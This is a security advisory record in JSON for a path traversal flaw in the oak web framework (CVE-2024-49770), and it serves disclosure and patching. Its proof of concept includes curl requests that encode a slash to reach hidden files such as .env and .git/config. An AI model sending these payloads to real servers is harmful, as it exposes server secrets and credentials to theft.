{"id":"GHSA-qm92-93fv-vh7m","summary":"Path traversal in oak allows transfer of hidden files within the served root directory","details":"### Summary\n\nBy default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by\nencoding `/` as its URL encoded form `%2F`.\n\n### Details\n\n1.) Oak uses [decodeComponent](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25) which seems to be unexpected. This is also the reason why it is not possible to access a file that\ncontains URL encoded characters unless the client URL encodes it first.\n\n2.) The function [isHidden](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125) is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`.\n\n### PoC\n\n```ts\n// server.ts\n\nimport { Application } from \"jsr:@oak/oak@17.1.2\";\n\nconst app = new Application();\n\napp.use(async (context, next) =\u003e {\n  try {\n    await context.send({\n      root: './root',\n      hidden: false, // default\n    });\n  } catch {\n    await next();\n  }\n});\n\nawait app.listen({ port: 8000 });\n```\n\nIn terminal:\n\n```bash\n# setup root directory\nmkdir root/.git\necho SECRET_KEY=oops \u003e root/.env\necho oops \u003e  root/.git/config\n\n# start server\ndeno run -A server.ts\n\n# in another terminal\ncurl -D- http://127.0.0.1:8000/poc%2f../.env\ncurl -D- http://127.0.0.1:8000/poc%2f../.git/config\n```\n\n### Impact\n\nFor an attacker this has potential to read sensitive user data or to gain access to server secrets.\n","aliases":["CVE-2024-49770"],"modified":"2024-11-01T21:58:13.936021Z","published":"2024-11-01T21:37:10Z","database_specific":{"github_reviewed_at":"2024-11-01T21:37:10Z","nvd_published_at":"2024-11-01T17:15:17Z","cwe_ids":["CWE-22","CWE-35"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49770"},{"type":"WEB","url":"https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209"},{"type":"PACKAGE","url":"https://github.com/oakserver/oak"},{"type":"WEB","url":"https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125"},{"type":"WEB","url":"https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25"}],"affected":[{"package":{"name":"@oakserver/oak","ecosystem":"npm","purl":"pkg:npm/%40oakserver/oak"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"14.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-qm92-93fv-vh7m/GHSA-qm92-93fv-vh7m.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"}]}